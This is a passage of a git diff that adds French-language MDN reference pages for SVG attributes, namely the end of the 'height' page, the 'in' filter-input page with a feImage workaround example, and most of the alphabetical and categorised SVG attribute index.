+    <a class="external" href="http://www.w3.org/TR/SVG/filters.html#FilterPrimitiveHeightAttribute" title="http://www.w3.org/TR/SVG/filters.html#FilterPrimitiveHeightAttribute">SVG 1.1 (2nd Edition): Filter primitive</a><br>
+    <a class="external" href="http://www.w3.org/TR/SVG/masking.html#MaskElementHeightAttribute" title="http://www.w3.org/TR/SVG/masking.html#MaskElementHeightAttribute">SVG 1.1 (2nd Edition): mask element</a></td>
+  </tr>
+ </tbody>
+</table>
+
+<p>{{ page("fr/docs/Web/SVG/Content_type","Length") }}</p>
+
+<h2 id="Exemple">Exemple</h2>
+
+<pre class="brush: xml line-numbers  language-xml"><code class="language-xml"><span class="prolog token">&lt;?xml version="1.0"?&gt;</span>
+<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>svg</span> <span class="attr-name token">width</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>120<span class="punctuation token">"</span></span> <span class="attr-name token">height</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>120<span class="punctuation token">"</span></span>
+     <span class="attr-name token">viewBox</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>0 0 120 120<span class="punctuation token">"</span></span>
+     <span class="attr-name token">xmlns</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>http://www.w3.org/2000/svg<span class="punctuation token">"</span></span><span class="punctuation token">&gt;</span></span>
+
+  <span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>rect</span> <span class="attr-name token">x</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>10<span class="punctuation token">"</span></span> <span class="attr-name token">y</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>10<span class="punctuation token">"</span></span> <span class="attr-name token">width</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>100<span class="punctuation token">"</span></span> <span class="attr-name token">height</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>100<span class="punctuation token">"</span></span><span class="punctuation token">/&gt;</span></span>
+<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>svg</span><span class="punctuation token">&gt;</span></span></code></pre>
+
+<h2 id="Eléments">Eléments</h2>
+
+<p>Les éléments suivants peuvent utiliser l'attribut <code>height</code> :</p>
+
+<ul>
+ <li><a href="/en/SVG/Element#FilterPrimitive" title="en/SVG/Element#FilterPrimitive">Filter primitive elements</a> »</li>
+ <li>{{ SVGElement("filter") }}</li>
+ <li>{{ SVGElement("foreignObject") }}</li>
+ <li>{{ SVGElement("image") }}</li>
+ <li>{{ SVGElement("pattern") }}</li>
+ <li>{{ SVGElement("rect") }}</li>
+ <li>{{ SVGElement("svg") }}</li>
+ <li>{{ SVGElement("use") }}</li>
+ <li>{{ SVGElement("mask") }}</li>
+</ul>
diff --git a/files/fr/web/svg/attribute/in/index.html b/files/fr/web/svg/attribute/in/index.html
new file mode 100644
index 0000000000..fbf020b5d7
--- /dev/null
+++ b/files/fr/web/svg/attribute/in/index.html
@@ -0,0 +1,103 @@
+---
+title: in
+slug: Web/SVG/Attribute/in
+tags:
+  - SVG
+  - SVG Attribute
+  - SVG Filter
+translation_of: Web/SVG/Attribute/in
+---
+<p>« <a href="/en/SVG/Attribute" title="en/SVG/Attribute">SVG Attribute reference home</a></p>
+
+<p>L'attribut <code>in</code> identifie l'entrée pour la primitive de filtre donnée.</p>
+
+<p>Cet attribut peut prendre pour valeur un des six mots-clés définis ci-dessous ou la valeur d'un attribut {{SVGAttr("result")}} d'une primitive précédente dans le même élément {{SVGElement("filter")}}. Si aucune valeur n'est définit et qu'il s'agit de la première primitive du filtre, alors la valeur par défaut est <code>SourceGraphic</code>. Si aucune valeur n'est définit et qu'il ne s'agit pas de la première primitive, alors la valeur par défaut est le résultat de la primitive précédente.<br>
+ <br>
+ Si la même valeur de {{SVGAttr("result")}} apparaît à de multiples endroits dans un élément {{SVGElement("filter")}} donné, c'est la primitive de filtre avec cette valeur de {{SVGAttr("result")}} précédant la primitive en cours qui est la plus proche qui est utilisée.</p>
+
+<h2 id="Contexte_d'utilisation">Contexte d'utilisation</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="row">Catégories</th>
+   <td>None</td>
+  </tr>
+  <tr>
+   <th scope="row">Valeur</th>
+   <td><code>SourceGraphic</code> | <code>SourceAlpha</code> | <code>BackgroundImage</code> | <code>BackgroundAlpha</code> | <code>FillPaint</code> | <code>StrokePaint</code> | &lt;filter-primitive-reference&gt;</td>
+  </tr>
+  <tr>
+   <th scope="row">Animation</th>
+   <td>Oui</td>
+  </tr>
+  <tr>
+   <th scope="row">Document normatif</th>
+   <td><a class="external" href="http://www.w3.org/TR/SVG11/filters.html#FilterPrimitiveInAttribute" title="http://www.w3.org/TR/SVG11/filters.html#FilterPrimitiveInAttribute">SVG 1.1 (2nd Edition)</a></td>
+  </tr>
+ </tbody>
+</table>
+
+<dl>
+ <dt>SourceGraphic</dt>
+ <dd>Ce mot-clé désigne l'élément graphique sur lequel s'applique le {{SVGElement("filter")}}.</dd>
+ <dt>SourceAlpha</dt>
+ <dd><code>SourceAlpha</code> fonctionne de la même manière que <code>SourceGraphic</code> à la différence près que seul le canal alpha (la transparence) est utilisé.</dd>
+ <dt>BackgroundImage</dt>
+ <dd>Ce mot-clé désigne une capture de l'image du document SVG sous la région du filtre au moment où l'élément {{SVGElement("filter")}} a été invoqué.</dd>
+ <dt>BackgroundAlpha</dt>
+ <dd>Même principe que <code>BackgroundImage</code> à la différence près que seul le canal alpha est utilisé.</dd>
+ <dt>FillPaint</dt>
+ <dd>Ce mot-clé désigné la valeur de la propriété {{SVGAttr("fill")}} sur l'élément cible du filtre. Dans la plupart des cas, <code>FillPaint</code> est uniformément opaque, mais ce n'est pas le cas si la forme est remplit par un dégradé ou un motif qui contient des zones transparentes ou semi-transparentes.</dd>
+ <dt>StrokePaint</dt>
+ <dd>Ce mot-clé désigne la valeur de la propriété {{SVGAttr("stroke")}} sur l'élément cible du filtre. Dans la plupart des cas, <code>StrokePaint</code> est uniformément opaque, mais ce n'est pas le cas si la forme est remplit par un dégradé ou un motif qui contient des zones transparentes ou semi-transparentes.</dd>
+</dl>
+
+<h2 id="Contournement_pour_BackgroundImage">Contournement pour BackgroundImage</h2>
+
+<p>À la place de <code>in="BackgroundImage"</code>, on peut importer une image à fusionner à l'intérieur du filtre avec l'élément <code>&lt;feImage&gt;</code>.</p>
+
+<pre class="brush: html">&lt;div style="width: 420px; height: 220px;"&gt;
+&lt;svg style="width:200px; height:200px; display: inline;" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink"&gt;
+  &lt;defs&gt;
+    &lt;filter id="backgroundMultiply"&gt;
+      &lt;!-- Ça ne marchera pas. --&gt;
+      &lt;feBlend in="BackgroundImage" in2="SourceGraphic" mode="multiply"/&gt;
+    &lt;/filter&gt;
+  &lt;/defs&gt;
+  &lt;image xlink:href="https://developer.mozilla.org/files/6457/mdn_logo_only_color.png" x="10%" y="10%" width="80%" height="80%"/&gt;
+  &lt;circle cx="50%" cy="40%" r="40%" fill="#c00" style="filter:url(#backgroundMultiply);" /&gt;
+&lt;/svg&gt;
+
+&lt;svg style="width:200px; height:200px; display: inline;" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink"&gt;
+  &lt;defs&gt;
+    &lt;filter id="imageMultiply"&gt;
+      &lt;!-- Solution de contournement. --&gt;
+      &lt;feImage xlink:href="https://developer.mozilla.org/files/6457/mdn_logo_only_color.png" x="10%" y="10%" width="80%" height="80%"/&gt;
+      &lt;feBlend in2="SourceGraphic" mode="multiply"/&gt;
+    &lt;/filter&gt;
+  &lt;/defs&gt;
+  &lt;circle cx="50%" cy="40%" r="40%" fill="#c00" style="filter:url(#imageMultiply);"/&gt;
+&lt;/svg&gt;
+&lt;/div&gt;</pre>
+
+<p>{{ EmbedLiveSample('Contournement_pour_BackgroundImage') }}</p>
+
+<h2 id="Workaround_for_BackgroundImage" name="Workaround_for_BackgroundImage">Éléments</h2>
+
+<p>Les éléments suivants peuvent utiliser l'attribut  <code>in</code>:</p>
+
+<ul>
+ <li>{{SVGElement("feBlend")}}</li>
+ <li>{{SVGElement("feColorMatrix")}}</li>
+ <li>{{SVGElement("feComponentTransfer")}}</li>
+ <li>{{SVGElement("feComposite")}}</li>
+ <li>{{SVGElement("feConvolveMatrix")}}</li>
+ <li>{{SVGElement("feDiffuseLighting")}}</li>
+ <li>{{SVGElement("feDisplacementMap")}}</li>
+ <li>{{SVGElement("feGaussianBlur")}}</li>
+ <li>{{SVGElement("feMorphology")}}</li>
+ <li>{{SVGElement("feOffset")}}</li>
+ <li>{{SVGElement("feSpecularLighting")}}</li>
+ <li>{{SVGElement("feTile")}}</li>
+</ul>
diff --git a/files/fr/web/svg/attribute/index.html b/files/fr/web/svg/attribute/index.html
new file mode 100644
index 0000000000..87b1834e9c
--- /dev/null
+++ b/files/fr/web/svg/attribute/index.html
@@ -0,0 +1,477 @@
+---
+title: Référence des attributs SVG
+slug: Web/SVG/Attribute
+tags:
+  - Landing
+  - NeedsHelp
+  - SVG
+  - SVG Attribute
+  - SVG Reference
+  - TopicStub
+translation_of: Web/SVG/Attribute
+---
+<div>{{SVGRef}}</div>
+
+<p class="summary"><span class="seoSummary">Les éléments SVG peuvent être modifiés en utilisant des attributs qui spécifient comment les éléments doivent être traités ou présentés.</span> Ci-dessous, la liste de tous les attributs disponibles en SVG ainsi que des liens vers leur documentation pour vous aider à apprendre sur quels éléments ils s'appliquent et comment ils fonctionnent.</p>
+
+<h2 id="Attributs_SVG_de_A_à_Z">Attributs SVG de A à Z</h2>
+
+<div class="index">
+<h3 id="A">A</h3>
+
+<ul>
+ <li>{{SVGAttr("accent-height")}}</li>
+ <li>{{SVGAttr("accumulate")}}</li>
+ <li>{{SVGAttr("additive")}}</li>
+ <li>{{SVGAttr("alignment-baseline")}}</li>
+ <li>{{SVGAttr("allowReorder")}}</li>
+ <li>{{SVGAttr("alphabetic")}}</li>
+ <li>{{SVGAttr("amplitude")}}</li>
+ <li>{{SVGAttr("arabic-form")}}</li>
+ <li>{{SVGAttr("ascent")}}</li>
+ <li>{{SVGAttr("attributeName")}}</li>
+ <li>{{SVGAttr("attributeType")}}</li>
+ <li>{{SVGAttr("autoReverse")}}</li>
+ <li>{{SVGAttr("azimuth")}}</li>
+</ul>
+
+<h3 id="B">B</h3>
+
+<ul>
+ <li>{{SVGAttr("baseFrequency")}}</li>
+ <li>{{SVGAttr("baseline-shift")}}</li>
+ <li>{{SVGAttr("baseProfile")}}</li>
+ <li>{{SVGAttr("bbox")}}</li>
+ <li>{{SVGAttr("begin")}}</li>
+ <li>{{SVGAttr("bias")}}</li>
+ <li>{{SVGAttr("by")}}</li>
+</ul>
+
+<h3 id="C">C</h3>
+
+<ul>
+ <li>{{SVGAttr("calcMode")}}</li>
+ <li>{{SVGAttr("cap-height")}}</li>
+ <li>{{SVGAttr("class")}}</li>
+ <li>{{SVGAttr("clip")}}</li>
+ <li>{{SVGAttr("clipPathUnits")}}</li>
+ <li>{{SVGAttr("clip-path")}}</li>
+ <li>{{SVGAttr("clip-rule")}}</li>
+ <li>{{SVGAttr("color")}}</li>
+ <li>{{SVGAttr("color-interpolation")}}</li>
+ <li>{{SVGAttr("color-interpolation-filters")}}</li>
+ <li>{{SVGAttr("color-profile")}}</li>
+ <li>{{SVGAttr("color-rendering")}}</li>
+ <li>{{SVGAttr("contentScriptType")}}</li>
+ <li>{{SVGAttr("contentStyleType")}}</li>
+ <li>{{SVGAttr("cursor")}}</li>
+ <li>{{SVGAttr("cx")}}</li>
+ <li>{{SVGAttr("cy")}}</li>
+</ul>
+
+<h3 id="D">D</h3>
+
+<ul>
+ <li>{{SVGAttr("d")}}</li>
+ <li>{{SVGAttr("decelerate")}}</li>
+ <li>{{SVGAttr("descent")}}</li>
+ <li>{{SVGAttr("diffuseConstant")}}</li>
+ <li>{{SVGAttr("direction")}}</li>
+ <li>{{SVGAttr("display")}}</li>
+ <li>{{SVGAttr("divisor")}}</li>
+ <li>{{SVGAttr("dominant-baseline")}}</li>
+ <li>{{SVGAttr("dur")}}</li>
+ <li>{{SVGAttr("dx")}}</li>
+ <li>{{SVGAttr("dy")}}</li>
+</ul>
+
+<h3 id="E">E</h3>
+
+<ul>
+ <li>{{SVGAttr("edgeMode")}}</li>
+ <li>{{SVGAttr("elevation")}}</li>
+ <li>{{SVGAttr("enable-background")}}</li>
+ <li>{{SVGAttr("end")}}</li>
+ <li>{{SVGAttr("exponent")}}</li>
+ <li>{{SVGAttr("externalResourcesRequired")}}</li>
+</ul>
+
+<h3 id="F">F</h3>
+
+<ul>
+ <li>{{SVGAttr("fill")}}</li>
+ <li>{{SVGAttr("fill-opacity")}}</li>
+ <li>{{SVGAttr("fill-rule")}}</li>
+ <li>{{SVGAttr("filter")}}</li>
+ <li>{{SVGAttr("filterRes")}}</li>
+ <li>{{SVGAttr("filterUnits")}}</li>
+ <li>{{SVGAttr("flood-color")}}</li>
+ <li>{{SVGAttr("flood-opacity")}}</li>
+ <li>{{SVGAttr("font-family")}}</li>
+ <li>{{SVGAttr("font-size")}}</li>
+ <li>{{SVGAttr("font-size-adjust")}}</li>
+ <li>{{SVGAttr("font-stretch")}}</li>
+ <li>{{SVGAttr("font-style")}}</li>
+ <li>{{SVGAttr("font-variant")}}</li>
+ <li>{{SVGAttr("font-weight")}}</li>
+ <li>{{SVGAttr("format")}}</li>
+ <li>{{SVGAttr("from")}}</li>
+ <li>{{SVGAttr("fr")}}</li>
+ <li>{{SVGAttr("fx")}}</li>
+ <li>{{SVGAttr("fy")}}</li>
+</ul>
+
+<h3 id="G">G</h3>
+
+<ul>
+ <li>{{SVGAttr("g1")}}</li>
+ <li>{{SVGAttr("g2")}}</li>
+ <li>{{SVGAttr("glyph-name")}}</li>
+ <li>{{SVGAttr("glyph-orientation-horizontal")}}</li>
+ <li>{{SVGAttr("glyph-orientation-vertical")}}</li>
+ <li>{{SVGAttr("glyphRef")}}</li>
+ <li>{{SVGAttr("gradientTransform")}}</li>
+ <li>{{SVGAttr("gradientUnits")}}</li>
+</ul>
+
+<h3 id="H">H</h3>
+
+<ul>
+ <li>{{SVGAttr("hanging")}}</li>
+ <li>{{SVGAttr("height")}}</li>
+ <li>{{SVGAttr("href")}}</li>
+ <li>{{SVGAttr("hreflang")}}</li>
+ <li>{{SVGAttr("horiz-adv-x")}}</li>
+ <li>{{SVGAttr("horiz-origin-x")}}</li>
+</ul>
+
+<h3 id="I">I</h3>
+
+<ul>
+ <li>{{SVGAttr("id")}}</li>
+ <li>{{SVGAttr("ideographic")}}</li>
+ <li>{{SVGAttr("image-rendering")}}</li>
+ <li>{{SVGAttr("in")}}</li>
+ <li>{{SVGAttr("in2")}}</li>
+ <li>{{SVGAttr("intercept")}}</li>
+</ul>
+
+<h3 id="K">K</h3>
+
+<ul>
+ <li>{{SVGAttr("k")}}</li>
+ <li>{{SVGAttr("k1")}}</li>
+ <li>{{SVGAttr("k2")}}</li>
+ <li>{{SVGAttr("k3")}}</li>
+ <li>{{SVGAttr("k4")}}</li>
+ <li>{{SVGAttr("kernelMatrix")}}</li>
+ <li>{{SVGAttr("kernelUnitLength")}}</li>
+ <li>{{SVGAttr("kerning")}}</li>
+ <li>{{SVGAttr("keyPoints")}}</li>
+ <li>{{SVGAttr("keySplines")}}</li>
+ <li>{{SVGAttr("keyTimes")}}</li>
+</ul>
+
+<h3 id="L">L</h3>
+
+<ul>
+ <li>{{SVGAttr("lang")}}</li>
+ <li>{{SVGAttr("lengthAdjust")}}</li>
+ <li>{{SVGAttr("letter-spacing")}}</li>
+ <li>{{SVGAttr("lighting-color")}}</li>
+ <li>{{SVGAttr("limitingConeAngle")}}</li>
+ <li>{{SVGAttr("local")}}</li>
+</ul>
+
+<h3 id="M">M</h3>
+
+<ul>
+ <li>{{SVGAttr("marker-end")}}</li>
+ <li>{{SVGAttr("marker-mid")}}</li>
+ <li>{{SVGAttr("marker-start")}}</li>
+ <li>{{SVGAttr("markerHeight")}}</li>
+ <li>{{SVGAttr("markerUnits")}}</li>
+ <li>{{SVGAttr("markerWidth")}}</li>
+ <li>{{SVGAttr("mask")}}</li>
+ <li>{{SVGAttr("maskContentUnits")}}</li>
+ <li>{{SVGAttr("maskUnits")}}</li>
+ <li>{{SVGAttr("mathematical")}}</li>
+ <li>{{SVGAttr("max")}}</li>
+ <li>{{SVGAttr("media")}}</li>
+ <li>{{SVGAttr("method")}}</li>
+ <li>{{SVGAttr("min")}}</li>
+ <li>{{SVGAttr("mode")}}</li>
+</ul>
+
+<h3 id="N">N</h3>
+
+<ul>
+ <li>{{SVGAttr("name")}}</li>
+ <li>{{SVGAttr("numOctaves")}}</li>
+</ul>
+
+<h3 id="O">O</h3>
+
+<ul>
+ <li>{{SVGAttr("offset")}}</li>
+ <li>{{SVGAttr("opacity")}}</li>
+ <li>{{SVGAttr("operator")}}</li>
+ <li>{{SVGAttr("order")}}</li>
+ <li>{{SVGAttr("orient")}}</li>
+ <li>{{SVGAttr("orientation")}}</li>
+ <li>{{SVGAttr("origin")}}</li>
+ <li>{{SVGAttr("overflow")}}</li>
+ <li>{{SVGAttr("overline-position")}}</li>
+ <li>{{SVGAttr("overline-thickness")}}</li>
+</ul>
+
+<h3 id="P">P</h3>
+
+<ul>
+ <li>{{SVGAttr("panose-1")}}</li>
+ <li>{{SVGAttr("paint-order")}}</li>
+ <li>{{SVGAttr("path")}}</li>
+ <li>{{SVGAttr("pathLength")}}</li>
+ <li>{{SVGAttr("patternContentUnits")}}</li>
+ <li>{{SVGAttr("patternTransform")}}</li>
+ <li>{{SVGAttr("patternUnits")}}</li>
+ <li>{{SVGAttr("ping")}}</li>
+ <li>{{SVGAttr("pointer-events")}}</li>
+ <li>{{SVGAttr("points")}}</li>
+ <li>{{SVGAttr("pointsAtX")}}</li>
+ <li>{{SVGAttr("pointsAtY")}}</li>
+ <li>{{SVGAttr("pointsAtZ")}}</li>
+ <li>{{SVGAttr("preserveAlpha")}}</li>
+ <li>{{SVGAttr("preserveAspectRatio")}}</li>
+ <li>{{SVGAttr("primitiveUnits")}}</li>
+</ul>
+
+<h3 id="R">R</h3>
+
+<ul>
+ <li>{{SVGAttr("r")}}</li>
+ <li>{{SVGAttr("radius")}}</li>
+ <li>{{SVGAttr("referrerPolicy")}}</li>
+ <li>{{SVGAttr("refX")}}</li>
+ <li>{{SVGAttr("refY")}}</li>
+ <li>{{SVGAttr("rel")}}</li>
+ <li>{{SVGAttr("rendering-intent")}}</li>
+ <li>{{SVGAttr("repeatCount")}}</li>
+ <li>{{SVGAttr("repeatDur")}}</li>
+ <li>{{SVGAttr("requiredExtensions")}}</li>
+ <li>{{SVGAttr("requiredFeatures")}}</li>
+ <li>{{SVGAttr("restart")}}</li>
+ <li>{{SVGAttr("result")}}</li>
+ <li>{{SVGAttr("rotate")}}</li>
+ <li>{{SVGAttr("rx")}}</li>
+ <li>{{SVGAttr("ry")}}</li>
+</ul>
+
+<h3 id="S">S</h3>
+
+<ul>
+ <li>{{SVGAttr("scale")}}</li>
+ <li>{{SVGAttr("seed")}}</li>
+ <li>{{SVGAttr("shape-rendering")}}</li>
+ <li>{{SVGAttr("slope")}}</li>
+ <li>{{SVGAttr("spacing")}}</li>
+ <li>{{SVGAttr("specularConstant")}}</li>
+ <li>{{SVGAttr("specularExponent")}}</li>
+ <li>{{SVGAttr("speed")}}</li>
+ <li>{{SVGAttr("spreadMethod")}}</li>
+ <li>{{SVGAttr("startOffset")}}</li>
+ <li>{{SVGAttr("stdDeviation")}}</li>
+ <li>{{SVGAttr("stemh")}}</li>
+ <li>{{SVGAttr("stemv")}}</li>
+ <li>{{SVGAttr("stitchTiles")}}</li>
+ <li>{{SVGAttr("stop-color")}}</li>
+ <li>{{SVGAttr("stop-opacity")}}</li>
+ <li>{{SVGAttr("strikethrough-position")}}</li>
+ <li>{{SVGAttr("strikethrough-thickness")}}</li>
+ <li>{{SVGAttr("string")}}</li>
+ <li>{{SVGAttr("stroke")}}</li>
+ <li>{{SVGAttr("stroke-dasharray")}}</li>
+ <li>{{SVGAttr("stroke-dashoffset")}}</li>
+ <li>{{SVGAttr("stroke-linecap")}}</li>
+ <li>{{SVGAttr("stroke-linejoin")}}</li>
+ <li>{{SVGAttr("stroke-miterlimit")}}</li>
+ <li>{{SVGAttr("stroke-opacity")}}</li>
+ <li>{{SVGAttr("stroke-width")}}</li>
+ <li>{{SVGAttr("style")}}</li>
+ <li>{{SVGAttr("surfaceScale")}}</li>
+ <li>{{SVGAttr("systemLanguage")}}</li>
+</ul>
+
+<h3 id="T">T</h3>
+
+<ul>
+ <li>{{SVGAttr("tabindex")}}</li>
+ <li>{{SVGAttr("tableValues")}}</li>
+ <li>{{SVGAttr("target")}}</li>
+ <li>{{SVGAttr("targetX")}}</li>
+ <li>{{SVGAttr("targetY")}}</li>
+ <li>{{SVGAttr("text-anchor")}}</li>
+ <li>{{SVGAttr("text-decoration")}}</li>
+ <li>{{SVGAttr("text-rendering")}}</li>
+ <li>{{SVGAttr("textLength")}}</li>
+ <li>{{SVGAttr("to")}}</li>
+ <li>{{SVGAttr("transform")}}</li>
+ <li>{{SVGAttr("type")}}</li>
+</ul>
+
+<h3 id="U">U</h3>
+
+<ul>
+ <li>{{SVGAttr("u1")}}</li>
+ <li>{{SVGAttr("u2")}}</li>
+ <li>{{SVGAttr("underline-position")}}</li>
+ <li>{{SVGAttr("underline-thickness")}}</li>
+ <li>{{SVGAttr("unicode")}}</li>
+ <li>{{SVGAttr("unicode-bidi")}}</li>
+ <li>{{SVGAttr("unicode-range")}}</li>
+ <li>{{SVGAttr("units-per-em")}}</li>
+</ul>
+
+<h3 id="V">V</h3>
+
+<ul>
+ <li>{{SVGAttr("v-alphabetic")}}</li>
+ <li>{{SVGAttr("v-hanging")}}</li>
+ <li>{{SVGAttr("v-ideographic")}}</li>
+ <li>{{SVGAttr("v-mathematical")}}</li>
+ <li>{{SVGAttr("values")}}</li>
+ <li>{{SVGAttr("vector-effect")}}</li>
+ <li>{{SVGAttr("version")}}</li>
+ <li>{{SVGAttr("vert-adv-y")}}</li>
+ <li>{{SVGAttr("vert-origin-x")}}</li>
+ <li>{{SVGAttr("vert-origin-y")}}</li>
+ <li>{{SVGAttr("viewBox")}}</li>
+ <li>{{SVGAttr("viewTarget")}}</li>
+ <li>{{SVGAttr("visibility")}}</li>
+</ul>
+
+<h3 id="W">W</h3>
+
+<ul>
+ <li>{{SVGAttr("width")}}</li>
+ <li>{{SVGAttr("widths")}}</li>
+ <li>{{SVGAttr("word-spacing")}}</li>
+ <li>{{SVGAttr("writing-mode")}}</li>
+</ul>
+
+<h3 id="X">X</h3>
+
+<ul>
+ <li>{{SVGAttr("x")}}</li>
+ <li>{{SVGAttr("x-height")}}</li>
+ <li>{{SVGAttr("x1")}}</li>
+ <li>{{SVGAttr("x2")}}</li>
+ <li>{{SVGAttr("xChannelSelector")}}</li>
+ <li>{{SVGAttr("xlink:actuate")}}</li>
+ <li>{{SVGAttr("xlink:arcrole")}}</li>
+ <li>{{SVGAttr("xlink:href")}}</li>
+ <li>{{SVGAttr("xlink:role")}}</li>
+ <li>{{SVGAttr("xlink:show")}}</li>
+ <li>{{SVGAttr("xlink:title")}}</li>
+ <li>{{SVGAttr("xlink:type")}}</li>
+ <li>{{SVGAttr("xml:base")}}</li>
+ <li>{{SVGAttr("xml:lang")}}</li>
+ <li>{{SVGAttr("xml:space")}}</li>
+</ul>
+
+<h3 id="Y">Y</h3>
+
+<ul>
+ <li>{{SVGAttr("y")}}</li>
+ <li>{{SVGAttr("y1")}}</li>
+ <li>{{SVGAttr("y2")}}</li>
+ <li>{{SVGAttr("yChannelSelector")}}</li>
+</ul>
+
+<h3 id="Z">Z</h3>
+
+<ul>
+ <li>{{SVGAttr("z")}}</li>
+ <li>{{SVGAttr("zoomAndPan")}}</li>
+</ul>
+</div>
+
+<h2 id="Attributs_SVG_par_catégorie">Attributs SVG par catégorie</h2>
+
+<h3 id="Attributs_Génériques">Attributs Génériques</h3>
+
+<h4 id="Attributs_de_base"><a href="/fr/docs/Web/SVG/Attribute/Core">Attributs de base</a></h4>
+
+<p>{{SVGAttr("id")}}, {{SVGAttr("lang")}}, {{SVGAttr("tabindex")}}, {{SVGAttr("xml:base")}}, {{SVGAttr("xml:lang")}}, {{SVGAttr("xml:space")}}</p>
+
+<h4 id="Attributs_de_style"><a href="/fr/docs/Web/SVG/Attribute/Styling">Attributs de style</a></h4>
+
+<p>{{SVGAttr("class")}}, {{SVGAttr("style")}}</p>
+
+<h4 id="Attributs_de_traitement_conditionnel">Attributs de traitement conditionnel</h4>
+
+<p>{{SVGAttr("externalResourcesRequired")}}, {{SVGAttr("requiredExtensions")}}, {{SVGAttr("requiredFeatures")}}, {{SVGAttr("systemLanguage")}}.</p>
+
+<h3 id="Attributs_XLink">Attributs XLink</h3>
+
+<p>{{SVGAttr("xlink:href")}}, {{SVGAttr("xlink:type")}}, {{SVGAttr("xlink:role")}}, {{SVGAttr("xlink:arcrole")}}, {{SVGAttr("xlink:title")}}, {{SVGAttr("xlink:show")}}, {{SVGAttr("xlink:actuate")}}</p>
+
+<h3 id="Attributs_de_présentation"><a href="/fr/docs/Web/SVG/Attribute/Presentation">Attributs de présentation</a></h3>
+
+<div class="note">Notez que tous les attributs SVG de présentation peuvent être utilisés comme propriété CSS.</div>
+
+<p>{{SVGAttr("alignment-baseline")}}, {{SVGAttr("baseline-shift")}}, {{SVGAttr("clip")}}, {{SVGAttr("clip-path")}}, {{SVGAttr("clip-rule")}}, {{SVGAttr("color")}}, {{SVGAttr("color-interpolation")}}, {{SVGAttr("color-interpolation-filters")}}, {{SVGAttr("color-profile")}}, {{SVGAttr("color-rendering")}}, {{SVGAttr("cursor")}}, {{SVGAttr("direction")}}, {{SVGAttr("display")}}, {{SVGAttr("dominant-baseline")}}, {{SVGAttr("enable-background")}}, {{SVGAttr("fill")}}, {{SVGAttr("fill-opacity")}}, {{SVGAttr("fill-rule")}}, {{SVGAttr("filter")}}, {{SVGAttr("flood-color")}}, {{SVGAttr("flood-opacity")}}, {{SVGAttr("font-family")}}, {{SVGAttr("font-size")}}, {{SVGAttr("font-size-adjust")}}, {{SVGAttr("font-stretch")}}, {{SVGAttr("font-style")}}, {{SVGAttr("font-variant")}}, {{SVGAttr("font-weight")}}, {{SVGAttr("glyph-orientation-horizontal")}}, {{SVGAttr("glyph-orientation-vertical")}}, {{SVGAttr("image-rendering")}}, {{SVGAttr("kerning")}}, {{SVGAttr("letter-spacing")}}, {{SVGAttr("lighting-color")}}, {{SVGAttr("marker-end")}}, {{SVGAttr("marker-mid")}}, {{SVGAttr("marker-start")}}, {{SVGAttr("mask")}}, {{SVGAttr("opacity")}}, {{SVGAttr("overflow")}}, {{SVGAttr("pointer-events")}}, {{SVGAttr("shape-rendering")}}, {{SVGAttr("stop-color")}}, {{SVGAttr("stop-opacity")}}, {{SVGAttr("stroke")}}, {{SVGAttr("stroke-dasharray")}}, {{SVGAttr("stroke-dashoffset")}}, {{SVGAttr("stroke-linecap")}}, {{SVGAttr("stroke-linejoin")}}, {{SVGAttr("stroke-miterlimit")}}, {{SVGAttr("stroke-opacity")}}, {{SVGAttr("stroke-width")}}, {{SVGAttr("text-anchor")}}, {{SVGAttr("transform")}}, {{SVGAttr("text-decoration")}}, {{SVGAttr("text-rendering")}}, {{SVGAttr("unicode-bidi")}}, {{SVGAttr("vector-effect")}}, {{SVGAttr("visibility")}}, {{SVGAttr("word-spacing")}}, {{SVGAttr("writing-mode")}}</p>
+
+<h3 id="Attributs_de_filtres">Attributs de filtres</h3>
+
+<h4 id="Attributs_de_primitives_de_filtre">Attributs de primitives de filtre</h4>
+
+<p>{{SVGAttr("height")}}, {{SVGAttr("result")}}, {{SVGAttr("width")}}, {{SVGAttr("x")}}, {{SVGAttr("y")}}</p>
+
+<h4 id="Attributs_de_fonction_de_transfert">Attributs de fonction de transfert</h4>
+
+<p>{{SVGAttr("type")}}, {{SVGAttr("tableValues")}}, {{SVGAttr("slope")}}, {{SVGAttr("intercept")}}, {{SVGAttr("amplitude")}}, {{SVGAttr("exponent")}}, {{SVGAttr("offset")}}</p>
+
+<h3 id="Attributs_d'animation">Attributs d'animation</h3>
+
+<h4 id="Animation_cible">Animation cible</h4>
+
+<p>{{SVGAttr("attributeType")}}, {{SVGAttr("attributeName")}}</p>
+
+<h4 id="Timing_de_l'animation">Timing de l'animation</h4>
+
+<p>{{SVGAttr("begin")}}, {{SVGAttr("dur")}}, {{SVGAttr("end")}}, {{SVGAttr("min")}}, {{SVGAttr("max")}}, {{SVGAttr("restart")}}, {{SVGAttr("repeatCount")}}, {{SVGAttr("repeatDur")}}, {{SVGAttr("fill")}}</p>
+
+<h4 id="Valeurs_de_l'animation">Valeurs de l'animation</h4>
+
+<p>{{SVGAttr("calcMode")}}, {{SVGAttr("values")}}, {{SVGAttr("keyTimes")}}, {{SVGAttr("keySplines")}}, {{SVGAttr("from")}}, {{SVGAttr("to")}}, {{SVGAttr("by")}}, {{SVGAttr("autoReverse")}}, {{SVGAttr("accelerate")}}, {{SVGAttr("decelerate")}}</p>
+
+<h4 id="Addition_de_l'animation">Addition de l'animation</h4>
+
+<p>{{SVGAttr("additive")}}, {{SVGAttr("accumulate")}}</p>
+
+<h3 id="Attributs_d'événement">Attributs d'événement</h3>
+
+<h4 id="Événements_d'animation"><a href="/fr/docs/Web/SVG/Attribute/Events#Animation_Event_Attributes">Événements d'animation</a></h4>
+
